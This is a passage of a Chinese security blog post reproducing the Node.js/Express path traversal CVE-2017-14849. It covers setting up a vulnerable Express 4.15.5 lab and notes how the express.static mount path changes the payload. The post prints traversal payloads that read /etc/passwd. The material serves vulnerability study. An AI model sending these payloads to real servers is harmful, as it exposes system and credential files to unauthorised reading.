浅谈Node.js CVE-2017-14849 漏洞分析(详细步骤)(2)

wget https://github.com/expressjs/express/archive/4.15.5.tar.gz

解压压缩包

tar -zxvf 4.15.5.tar.gz

进入express目录下,安装express

cd express-4.15.5 && npm install

进入到expresss-4.15.5/examples/static-files目录里

node index.js

Step 3 发送payload验证

Payload: /../../../a/../../../../etc/passwd

0x05 漏洞原理分析

为什么payload会是这样的呢?请参考腾讯应急响应中心的那篇文章(https://security.tencent.com/index.php/blog/msg/121),写的很言简意赅。

(还不是因为自己菜,分析不出。。。。)

注意:该漏洞是建立在文件夹通过express.static 来托管的情况下,因为在这种情况下才会使用normalize函数进行path标准化。(发现来源于p神的分析)

比如代码这样写:

app.use(express.static(path.join(__dirname, 'static')));

那么payload应该是

/../../../a/../../../../etc/passwd

但代码如果是这样写的话:

app.use('/static',express.static(path.join(__dirname, 'static')));

那么payload应该为:

/static/../../../a/../../../../etc/passwd

0x06 后记

复现很简单,但分析原理很难。至少我现在还没弄明白。等我弄明白了,再写写怎么分析与跟踪吧。

其实这里有一个挺有意思的点,那就是一些重大漏洞的追踪问题,关于这个漏洞官方早在九月份就已经发布了说明,而这个问题是在最近才得到重视,很明显就算是腾讯也没有第一时间去跟踪CVE的更新列表。

而在腾讯发了这篇文章之后,P神把复现环境给弄到了vulhub(https://github.com/vulhub/vulhub/tree/master/node/CVE-2017-14849),速度之快令人惊奇。然后再代码审计里面发了,在微博里面发了。再接着整个安全圈其实都知道了。

然后这里我们得出了一个结论,如果想要得到第一手漏洞预警与学习,应该时刻关注着CVE列表,努力做第一个吃螃蟹的人。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持黑区网络。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/922.html